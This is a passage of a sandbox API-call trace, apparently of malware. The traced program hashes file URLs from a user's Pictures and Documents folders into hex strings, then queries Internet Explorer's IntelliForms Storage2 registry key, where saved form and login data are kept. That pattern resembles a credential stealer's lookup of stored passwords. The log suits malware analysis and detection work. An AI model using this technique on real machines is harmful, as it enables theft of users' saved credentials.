(lpString="5A5900489C423691451C94F9CF8FC5F642") returned 34 [0077.909] lstrlenA (lpString="AA") returned 2 [0077.909] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0077.909] lstrcpyA (in: lpString1=0x6292f8, lpString2="5A5900489C423691451C94F9CF8FC5F642" | out: lpString1="5A5900489C423691451C94F9CF8FC5F642") returned="5A5900489C423691451C94F9CF8FC5F642" [0077.909] lstrcatA (in: lpString1="5A5900489C423691451C94F9CF8FC5F642", lpString2="AA" | out: lpString1="5A5900489C423691451C94F9CF8FC5F642AA") returned="5A5900489C423691451C94F9CF8FC5F642AA" [0077.909] LocalFree (hMem=0x6293a8) returned 0x0 [0077.909] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4A") returned 2 [0077.909] lstrlenA (lpString="5A5900489C423691451C94F9CF8FC5F642AA") returned 36 [0077.909] lstrlenA (lpString="4A") returned 2 [0077.909] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0077.909] lstrcpyA (in: lpString1=0x6293a8, lpString2="5A5900489C423691451C94F9CF8FC5F642AA" | out: lpString1="5A5900489C423691451C94F9CF8FC5F642AA") returned="5A5900489C423691451C94F9CF8FC5F642AA" [0077.909] lstrcatA (in: lpString1="5A5900489C423691451C94F9CF8FC5F642AA", lpString2="4A" | out: lpString1="5A5900489C423691451C94F9CF8FC5F642AA4A") returned="5A5900489C423691451C94F9CF8FC5F642AA4A" [0077.909] LocalFree (hMem=0x6292f8) returned 0x0 [0077.909] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="68") returned 2 [0077.909] lstrlenA (lpString="5A5900489C423691451C94F9CF8FC5F642AA4A") returned 38 [0077.909] lstrlenA (lpString="68") returned 2 [0077.909] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647440 [0077.909] lstrcpyA (in: lpString1=0x647440, lpString2="5A5900489C423691451C94F9CF8FC5F642AA4A" | out: lpString1="5A5900489C423691451C94F9CF8FC5F642AA4A") returned="5A5900489C423691451C94F9CF8FC5F642AA4A" [0077.909] lstrcatA (in: lpString1="5A5900489C423691451C94F9CF8FC5F642AA4A", lpString2="68" | out: lpString1="5A5900489C423691451C94F9CF8FC5F642AA4A68") returned="5A5900489C423691451C94F9CF8FC5F642AA4A68" [0077.909] LocalFree (hMem=0x6293a8) returned 0x0 [0077.909] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="45") returned 2 [0077.909] lstrlenA (lpString="5A5900489C423691451C94F9CF8FC5F642AA4A68") returned 40 [0077.909] lstrlenA (lpString="45") returned 2 [0077.909] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x6474f8 [0077.909] lstrcpyA (in: lpString1=0x6474f8, lpString2="5A5900489C423691451C94F9CF8FC5F642AA4A68" | out: lpString1="5A5900489C423691451C94F9CF8FC5F642AA4A68") returned="5A5900489C423691451C94F9CF8FC5F642AA4A68" [0077.909] lstrcatA (in: lpString1="5A5900489C423691451C94F9CF8FC5F642AA4A68", lpString2="45" | out: lpString1="5A5900489C423691451C94F9CF8FC5F642AA4A6845") returned="5A5900489C423691451C94F9CF8FC5F642AA4A6845" [0077.909] LocalFree (hMem=0x647440) returned 0x0 [0077.909] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.909] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.910] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.910] LocalFree (hMem=0x6474f8) returned 0x0 [0077.910] CoTaskMemFree (pv=0x652560) [0077.910] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/8JSAkbiNtgWEPG7PjbAY.jpg", lpSrch="?") returned 0x0 [0077.910] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/8JSAkbiNtgWEPG7PjbAY.jpg") returned 86 [0077.910] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="56") returned 2 [0077.910] lstrlenA (lpString="") returned 0 [0077.910] lstrlenA (lpString="56") returned 2 [0077.910] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x652560 [0077.910] lstrcpyA (in: lpString1=0x652560, lpString2="" | out: lpString1="") returned="" [0077.910] lstrcatA (in: lpString1="", lpString2="56" | out: lpString1="56") returned="56" [0077.910] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="31") returned 2 [0077.910] lstrlenA (lpString="56") returned 2 [0077.910] lstrlenA (lpString="31") returned 2 [0077.910] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x652758 [0077.910] lstrcpyA (in: lpString1=0x652758, lpString2="56" | out: lpString1="56") returned="56" [0077.910] lstrcatA (in: lpString1="56", lpString2="31" | out: lpString1="5631") returned="5631" [0077.910] LocalFree (hMem=0x652560) returned 0x0 [0077.910] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0C") returned 2 [0077.910] lstrlenA (lpString="5631") returned 4 [0077.910] lstrlenA (lpString="0C") returned 2 [0077.910] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x652560 [0077.910] lstrcpyA (in: lpString1=0x652560, lpString2="5631" | out: lpString1="5631") returned="5631" [0077.910] lstrcatA (in: lpString1="5631", lpString2="0C" | out: lpString1="56310C") returned="56310C" [0077.910] LocalFree (hMem=0x652758) returned 0x0 [0077.910] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B5") returned 2 [0077.910] lstrlenA (lpString="56310C") returned 6 [0077.910] lstrlenA (lpString="B5") returned 2 [0077.910] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x652758 [0077.910] lstrcpyA (in: lpString1=0x652758, lpString2="56310C" | out: lpString1="56310C") returned="56310C" [0077.910] lstrcatA (in: lpString1="56310C", lpString2="B5" | out: lpString1="56310CB5") returned="56310CB5" [0077.911] LocalFree (hMem=0x652560) returned 0x0 [0077.911] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6E") returned 2 [0077.911] lstrlenA (lpString="56310CB5") returned 8 [0077.911] lstrlenA (lpString="6E") returned 2 [0077.911] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x652560 [0077.911] lstrcpyA (in: lpString1=0x652560, lpString2="56310CB5" | out: lpString1="56310CB5") returned="56310CB5" [0077.911] lstrcatA (in: lpString1="56310CB5", lpString2="6E" | out: lpString1="56310CB56E") returned="56310CB56E" [0077.911] LocalFree (hMem=0x652758) returned 0x0 [0077.911] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BC") returned 2 [0077.911] lstrlenA (lpString="56310CB56E") returned 10 [0077.911] lstrlenA (lpString="BC") returned 2 [0077.911] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x652758 [0077.911] lstrcpyA (in: lpString1=0x652758, lpString2="56310CB56E" | out: lpString1="56310CB56E") returned="56310CB56E" [0077.911] lstrcatA (in: lpString1="56310CB56E", lpString2="BC" | out: lpString1="56310CB56EBC") returned="56310CB56EBC" [0077.911] LocalFree (hMem=0x652560) returned 0x0 [0077.911] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="44") returned 2 [0077.911] lstrlenA (lpString="56310CB56EBC") returned 12 [0077.911] lstrlenA (lpString="44") returned 2 [0077.911] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x652560 [0077.911] lstrcpyA (in: lpString1=0x652560, lpString2="56310CB56EBC" | out: lpString1="56310CB56EBC") returned="56310CB56EBC" [0077.911] lstrcatA (in: lpString1="56310CB56EBC", lpString2="44" | out: lpString1="56310CB56EBC44") returned="56310CB56EBC44" [0077.911] LocalFree (hMem=0x652758) returned 0x0 [0077.911] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B3") returned 2 [0077.911] lstrlenA (lpString="56310CB56EBC44") returned 14 [0077.911] lstrlenA (lpString="B3") returned 2 [0077.911] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x652758 [0077.911] lstrcpyA (in: lpString1=0x652758, lpString2="56310CB56EBC44" | out: lpString1="56310CB56EBC44") returned="56310CB56EBC44" [0077.911] lstrcatA (in: lpString1="56310CB56EBC44", lpString2="B3" | out: lpString1="56310CB56EBC44B3") returned="56310CB56EBC44B3" [0077.911] LocalFree (hMem=0x652560) returned 0x0 [0077.911] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="63") returned 2 [0077.911] lstrlenA (lpString="56310CB56EBC44B3") returned 16 [0077.911] lstrlenA (lpString="63") returned 2 [0077.911] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x652560 [0077.911] lstrcpyA (in: lpString1=0x652560, lpString2="56310CB56EBC44B3" | out: lpString1="56310CB56EBC44B3") returned="56310CB56EBC44B3" [0077.911] lstrcatA (in: lpString1="56310CB56EBC44B3", lpString2="63" | out: lpString1="56310CB56EBC44B363") returned="56310CB56EBC44B363" [0077.911] LocalFree (hMem=0x652758) returned 0x0 [0077.911] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9C") returned 2 [0077.911] lstrlenA (lpString="56310CB56EBC44B363") returned 18 [0077.911] lstrlenA (lpString="9C") returned 2 [0077.911] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x652758 [0077.911] lstrcpyA (in: lpString1=0x652758, lpString2="56310CB56EBC44B363" | out: lpString1="56310CB56EBC44B363") returned="56310CB56EBC44B363" [0077.911] lstrcatA (in: lpString1="56310CB56EBC44B363", lpString2="9C" | out: lpString1="56310CB56EBC44B3639C") returned="56310CB56EBC44B3639C" [0077.911] LocalFree (hMem=0x652560) returned 0x0 [0077.911] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FB") returned 2 [0077.911] lstrlenA (lpString="56310CB56EBC44B3639C") returned 20 [0077.912] lstrlenA (lpString="FB") returned 2 [0077.912] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x652560 [0077.912] lstrcpyA (in: lpString1=0x652560, lpString2="56310CB56EBC44B3639C" | out: lpString1="56310CB56EBC44B3639C") returned="56310CB56EBC44B3639C" [0077.912] lstrcatA (in: lpString1="56310CB56EBC44B3639C", lpString2="FB" | out: lpString1="56310CB56EBC44B3639CFB") returned="56310CB56EBC44B3639CFB" [0077.912] LocalFree (hMem=0x652758) returned 0x0 [0077.912] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5E") returned 2 [0077.912] lstrlenA (lpString="56310CB56EBC44B3639CFB") returned 22 [0077.912] lstrlenA (lpString="5E") returned 2 [0077.912] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652770 [0077.912] lstrcpyA (in: lpString1=0x652770, lpString2="56310CB56EBC44B3639CFB" | out: lpString1="56310CB56EBC44B3639CFB") returned="56310CB56EBC44B3639CFB" [0077.912] lstrcatA (in: lpString1="56310CB56EBC44B3639CFB", lpString2="5E" | out: lpString1="56310CB56EBC44B3639CFB5E") returned="56310CB56EBC44B3639CFB5E" [0077.912] LocalFree (hMem=0x652560) returned 0x0 [0077.912] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="82") returned 2 [0077.912] lstrlenA (lpString="56310CB56EBC44B3639CFB5E") returned 24 [0077.912] lstrlenA (lpString="82") returned 2 [0077.912] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652818 [0077.912] lstrcpyA (in: lpString1=0x652818, lpString2="56310CB56EBC44B3639CFB5E" | out: lpString1="56310CB56EBC44B3639CFB5E") returned="56310CB56EBC44B3639CFB5E" [0077.912] lstrcatA (in: lpString1="56310CB56EBC44B3639CFB5E", lpString2="82" | out: lpString1="56310CB56EBC44B3639CFB5E82") returned="56310CB56EBC44B3639CFB5E82" [0077.912] LocalFree (hMem=0x652770) returned 0x0 [0077.912] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="25") returned 2 [0077.912] lstrlenA (lpString="56310CB56EBC44B3639CFB5E82") returned 26 [0077.912] lstrlenA (lpString="25") returned 2 [0077.912] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652770 [0077.912] lstrcpyA (in: lpString1=0x652770, lpString2="56310CB56EBC44B3639CFB5E82" | out: lpString1="56310CB56EBC44B3639CFB5E82") returned="56310CB56EBC44B3639CFB5E82" [0077.912] lstrcatA (in: lpString1="56310CB56EBC44B3639CFB5E82", lpString2="25" | out: lpString1="56310CB56EBC44B3639CFB5E8225") returned="56310CB56EBC44B3639CFB5E8225" [0077.912] LocalFree (hMem=0x652818) returned 0x0 [0077.912] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="10") returned 2 [0077.912] lstrlenA (lpString="56310CB56EBC44B3639CFB5E8225") returned 28 [0077.912] lstrlenA (lpString="10") returned 2 [0077.912] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652818 [0077.912] lstrcpyA (in: lpString1=0x652818, lpString2="56310CB56EBC44B3639CFB5E8225" | out: lpString1="56310CB56EBC44B3639CFB5E8225") returned="56310CB56EBC44B3639CFB5E8225" [0077.912] lstrcatA (in: lpString1="56310CB56EBC44B3639CFB5E8225", lpString2="10" | out: lpString1="56310CB56EBC44B3639CFB5E822510") returned="56310CB56EBC44B3639CFB5E822510" [0077.912] LocalFree (hMem=0x652770) returned 0x0 [0077.912] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4C") returned 2 [0077.912] lstrlenA (lpString="56310CB56EBC44B3639CFB5E822510") returned 30 [0077.912] lstrlenA (lpString="4C") returned 2 [0077.912] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0077.912] lstrcpyA (in: lpString1=0x6293a8, lpString2="56310CB56EBC44B3639CFB5E822510" | out: lpString1="56310CB56EBC44B3639CFB5E822510") returned="56310CB56EBC44B3639CFB5E822510" [0077.912] lstrcatA (in: lpString1="56310CB56EBC44B3639CFB5E822510", lpString2="4C" | out: lpString1="56310CB56EBC44B3639CFB5E8225104C") returned="56310CB56EBC44B3639CFB5E8225104C" [0077.912] LocalFree (hMem=0x652818) returned 0x0 [0077.912] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="79") returned 2 [0077.913] lstrlenA (lpString="56310CB56EBC44B3639CFB5E8225104C") returned 32 [0077.913] lstrlenA (lpString="79") returned 2 [0077.913] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0077.913] lstrcpyA (in: lpString1=0x6292f8, lpString2="56310CB56EBC44B3639CFB5E8225104C" | out: lpString1="56310CB56EBC44B3639CFB5E8225104C") returned="56310CB56EBC44B3639CFB5E8225104C" [0077.913] lstrcatA (in: lpString1="56310CB56EBC44B3639CFB5E8225104C", lpString2="79" | out: lpString1="56310CB56EBC44B3639CFB5E8225104C79") returned="56310CB56EBC44B3639CFB5E8225104C79" [0077.913] LocalFree (hMem=0x6293a8) returned 0x0 [0077.913] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D9") returned 2 [0077.913] lstrlenA (lpString="56310CB56EBC44B3639CFB5E8225104C79") returned 34 [0077.913] lstrlenA (lpString="D9") returned 2 [0077.913] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0077.913] lstrcpyA (in: lpString1=0x6293a8, lpString2="56310CB56EBC44B3639CFB5E8225104C79" | out: lpString1="56310CB56EBC44B3639CFB5E8225104C79") returned="56310CB56EBC44B3639CFB5E8225104C79" [0077.913] lstrcatA (in: lpString1="56310CB56EBC44B3639CFB5E8225104C79", lpString2="D9" | out: lpString1="56310CB56EBC44B3639CFB5E8225104C79D9") returned="56310CB56EBC44B3639CFB5E8225104C79D9" [0077.913] LocalFree (hMem=0x6292f8) returned 0x0 [0077.913] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9B") returned 2 [0077.913] lstrlenA (lpString="56310CB56EBC44B3639CFB5E8225104C79D9") returned 36 [0077.913] lstrlenA (lpString="9B") returned 2 [0077.913] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0077.913] lstrcpyA (in: lpString1=0x6292f8, lpString2="56310CB56EBC44B3639CFB5E8225104C79D9" | out: lpString1="56310CB56EBC44B3639CFB5E8225104C79D9") returned="56310CB56EBC44B3639CFB5E8225104C79D9" [0077.913] lstrcatA (in: lpString1="56310CB56EBC44B3639CFB5E8225104C79D9", lpString2="9B" | out: lpString1="56310CB56EBC44B3639CFB5E8225104C79D99B") returned="56310CB56EBC44B3639CFB5E8225104C79D99B" [0077.913] LocalFree (hMem=0x6293a8) returned 0x0 [0077.913] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="65") returned 2 [0077.913] lstrlenA (lpString="56310CB56EBC44B3639CFB5E8225104C79D99B") returned 38 [0077.913] lstrlenA (lpString="65") returned 2 [0077.913] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647720 [0077.913] lstrcpyA (in: lpString1=0x647720, lpString2="56310CB56EBC44B3639CFB5E8225104C79D99B" | out: lpString1="56310CB56EBC44B3639CFB5E8225104C79D99B") returned="56310CB56EBC44B3639CFB5E8225104C79D99B" [0077.913] lstrcatA (in: lpString1="56310CB56EBC44B3639CFB5E8225104C79D99B", lpString2="65" | out: lpString1="56310CB56EBC44B3639CFB5E8225104C79D99B65") returned="56310CB56EBC44B3639CFB5E8225104C79D99B65" [0077.913] LocalFree (hMem=0x6292f8) returned 0x0 [0077.913] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="16") returned 2 [0077.913] lstrlenA (lpString="56310CB56EBC44B3639CFB5E8225104C79D99B65") returned 40 [0077.913] lstrlenA (lpString="16") returned 2 [0077.913] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x6477d8 [0077.913] lstrcpyA (in: lpString1=0x6477d8, lpString2="56310CB56EBC44B3639CFB5E8225104C79D99B65" | out: lpString1="56310CB56EBC44B3639CFB5E8225104C79D99B65") returned="56310CB56EBC44B3639CFB5E8225104C79D99B65" [0077.913] lstrcatA (in: lpString1="56310CB56EBC44B3639CFB5E8225104C79D99B65", lpString2="16" | out: lpString1="56310CB56EBC44B3639CFB5E8225104C79D99B6516") returned="56310CB56EBC44B3639CFB5E8225104C79D99B6516" [0077.913] LocalFree (hMem=0x647720) returned 0x0 [0077.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.913] LocalFree (hMem=0x6477d8) returned 0x0 [0077.913] CoTaskMemFree (pv=0x647668) [0077.915] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/V8-R213R.odt", lpSrch="?") returned 0x0 [0077.915] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/V8-R213R.odt") returned 56 [0077.915] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B4") returned 2 [0077.915] lstrlenA (lpString="") returned 0 [0077.915] lstrlenA (lpString="B4") returned 2 [0077.915] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x652560 [0077.915] lstrcpyA (in: lpString1=0x652560, lpString2="" | out: lpString1="") returned="" [0077.915] lstrcatA (in: lpString1="", lpString2="B4" | out: lpString1="B4") returned="B4" [0077.915] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2A") returned 2 [0077.915] lstrlenA (lpString="B4") returned 2 [0077.915] lstrlenA (lpString="2A") returned 2 [0077.915] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x654f58 [0077.915] lstrcpyA (in: lpString1=0x654f58, lpString2="B4" | out: lpString1="B4") returned="B4" [0077.915] lstrcatA (in: lpString1="B4", lpString2="2A" | out: lpString1="B42A") returned="B42A" [0077.915] LocalFree (hMem=0x652560) returned 0x0 [0077.915] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9C") returned 2 [0077.915] lstrlenA (lpString="B42A") returned 4 [0077.915] lstrlenA (lpString="9C") returned 2 [0077.915] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x652560 [0077.915] lstrcpyA (in: lpString1=0x652560, lpString2="B42A" | out: lpString1="B42A") returned="B42A" [0077.915] lstrcatA (in: lpString1="B42A", lpString2="9C" | out: lpString1="B42A9C") returned="B42A9C" [0077.915] LocalFree (hMem=0x654f58) returned 0x0 [0077.915] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="77") returned 2 [0077.915] lstrlenA (lpString="B42A9C") returned 6 [0077.915] lstrlenA (lpString="77") returned 2 [0077.915] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x654f58 [0077.915] lstrcpyA (in: lpString1=0x654f58, lpString2="B42A9C" | out: lpString1="B42A9C") returned="B42A9C" [0077.915] lstrcatA (in: lpString1="B42A9C", lpString2="77" | out: lpString1="B42A9C77") returned="B42A9C77" [0077.915] LocalFree (hMem=0x652560) returned 0x0 [0077.915] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="7A") returned 2 [0077.915] lstrlenA (lpString="B42A9C77") returned 8 [0077.915] lstrlenA (lpString="7A") returned 2 [0077.915] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x652560 [0077.915] lstrcpyA (in: lpString1=0x652560, lpString2="B42A9C77" | out: lpString1="B42A9C77") returned="B42A9C77" [0077.915] lstrcatA (in: lpString1="B42A9C77", lpString2="7A" | out: lpString1="B42A9C777A") returned="B42A9C777A" [0077.915] LocalFree (hMem=0x654f58) returned 0x0 [0077.915] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5E") returned 2 [0077.916] lstrlenA (lpString="B42A9C777A") returned 10 [0077.916] lstrlenA (lpString="5E") returned 2 [0077.916] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x654f58 [0077.916] lstrcpyA (in: lpString1=0x654f58, lpString2="B42A9C777A" | out: lpString1="B42A9C777A") returned="B42A9C777A" [0077.916] lstrcatA (in: lpString1="B42A9C777A", lpString2="5E" | out: lpString1="B42A9C777A5E") returned="B42A9C777A5E" [0077.916] LocalFree (hMem=0x652560) returned 0x0 [0077.916] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2D") returned 2 [0077.916] lstrlenA (lpString="B42A9C777A5E") returned 12 [0077.916] lstrlenA (lpString="2D") returned 2 [0077.916] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x652560 [0077.916] lstrcpyA (in: lpString1=0x652560, lpString2="B42A9C777A5E" | out: lpString1="B42A9C777A5E") returned="B42A9C777A5E" [0077.916] lstrcatA (in: lpString1="B42A9C777A5E", lpString2="2D" | out: lpString1="B42A9C777A5E2D") returned="B42A9C777A5E2D" [0077.916] LocalFree (hMem=0x654f58) returned 0x0 [0077.916] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BE") returned 2 [0077.916] lstrlenA (lpString="B42A9C777A5E2D") returned 14 [0077.916] lstrlenA (lpString="BE") returned 2 [0077.916] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x654f58 [0077.916] lstrcpyA (in: lpString1=0x654f58, lpString2="B42A9C777A5E2D" | out: lpString1="B42A9C777A5E2D") returned="B42A9C777A5E2D" [0077.916] lstrcatA (in: lpString1="B42A9C777A5E2D", lpString2="BE" | out: lpString1="B42A9C777A5E2DBE") returned="B42A9C777A5E2DBE" [0077.916] LocalFree (hMem=0x652560) returned 0x0 [0077.916] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2F") returned 2 [0077.916] lstrlenA (lpString="B42A9C777A5E2DBE") returned 16 [0077.916] lstrlenA (lpString="2F") returned 2 [0077.916] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x652560 [0077.916] lstrcpyA (in: lpString1=0x652560, lpString2="B42A9C777A5E2DBE" | out: lpString1="B42A9C777A5E2DBE") returned="B42A9C777A5E2DBE" [0077.916] lstrcatA (in: lpString1="B42A9C777A5E2DBE", lpString2="2F" | out: lpString1="B42A9C777A5E2DBE2F") returned="B42A9C777A5E2DBE2F" [0077.916] LocalFree (hMem=0x654f58) returned 0x0 [0077.916] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B2") returned 2 [0077.916] lstrlenA (lpString="B42A9C777A5E2DBE2F") returned 18 [0077.916] lstrlenA (lpString="B2") returned 2 [0077.916] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x654f58 [0077.916] lstrcpyA (in: lpString1=0x654f58, lpString2="B42A9C777A5E2DBE2F" | out: lpString1="B42A9C777A5E2DBE2F") returned="B42A9C777A5E2DBE2F" [0077.916] lstrcatA (in: lpString1="B42A9C777A5E2DBE2F", lpString2="B2" | out: lpString1="B42A9C777A5E2DBE2FB2") returned="B42A9C777A5E2DBE2FB2" [0077.916] LocalFree (hMem=0x652560) returned 0x0 [0077.916] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C6") returned 2 [0077.916] lstrlenA (lpString="B42A9C777A5E2DBE2FB2") returned 20 [0077.916] lstrlenA (lpString="C6") returned 2 [0077.916] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x652560 [0077.916] lstrcpyA (in: lpString1=0x652560, lpString2="B42A9C777A5E2DBE2FB2" | out: lpString1="B42A9C777A5E2DBE2FB2") returned="B42A9C777A5E2DBE2FB2" [0077.916] lstrcatA (in: lpString1="B42A9C777A5E2DBE2FB2", lpString2="C6" | out: lpString1="B42A9C777A5E2DBE2FB2C6") returned="B42A9C777A5E2DBE2FB2C6" [0077.916] LocalFree (hMem=0x654f58) returned 0x0 [0077.916] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CD") returned 2 [0077.916] lstrlenA (lpString="B42A9C777A5E2DBE2FB2C6") returned 22 [0077.916] lstrlenA (lpString="CD") returned 2 [0077.916] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652818 [0077.917] lstrcpyA (in: lpString1=0x652818, lpString2="B42A9C777A5E2DBE2FB2C6" | out: lpString1="B42A9C777A5E2DBE2FB2C6") returned="B42A9C777A5E2DBE2FB2C6" [0077.917] lstrcatA (in: lpString1="B42A9C777A5E2DBE2FB2C6", lpString2="CD" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD") returned="B42A9C777A5E2DBE2FB2C6CD" [0077.917] LocalFree (hMem=0x652560) returned 0x0 [0077.917] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="54") returned 2 [0077.917] lstrlenA (lpString="B42A9C777A5E2DBE2FB2C6CD") returned 24 [0077.917] lstrlenA (lpString="54") returned 2 [0077.917] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652770 [0077.917] lstrcpyA (in: lpString1=0x652770, lpString2="B42A9C777A5E2DBE2FB2C6CD" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD") returned="B42A9C777A5E2DBE2FB2C6CD" [0077.917] lstrcatA (in: lpString1="B42A9C777A5E2DBE2FB2C6CD", lpString2="54" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD54") returned="B42A9C777A5E2DBE2FB2C6CD54" [0077.917] LocalFree (hMem=0x652818) returned 0x0 [0077.917] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="57") returned 2 [0077.917] lstrlenA (lpString="B42A9C777A5E2DBE2FB2C6CD54") returned 26 [0077.917] lstrlenA (lpString="57") returned 2 [0077.917] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652818 [0077.917] lstrcpyA (in: lpString1=0x652818, lpString2="B42A9C777A5E2DBE2FB2C6CD54" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD54") returned="B42A9C777A5E2DBE2FB2C6CD54" [0077.917] lstrcatA (in: lpString1="B42A9C777A5E2DBE2FB2C6CD54", lpString2="57" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD5457") returned="B42A9C777A5E2DBE2FB2C6CD5457" [0077.917] LocalFree (hMem=0x652770) returned 0x0 [0077.917] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="72") returned 2 [0077.917] lstrlenA (lpString="B42A9C777A5E2DBE2FB2C6CD5457") returned 28 [0077.917] lstrlenA (lpString="72") returned 2 [0077.917] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652770 [0077.917] lstrcpyA (in: lpString1=0x652770, lpString2="B42A9C777A5E2DBE2FB2C6CD5457" | out: lpString1="B42A9C777A5E2DBE2FB2C6CD5457") returned="B42A9C777A5E2DBE2FB2C6CD5457" [0077.917] 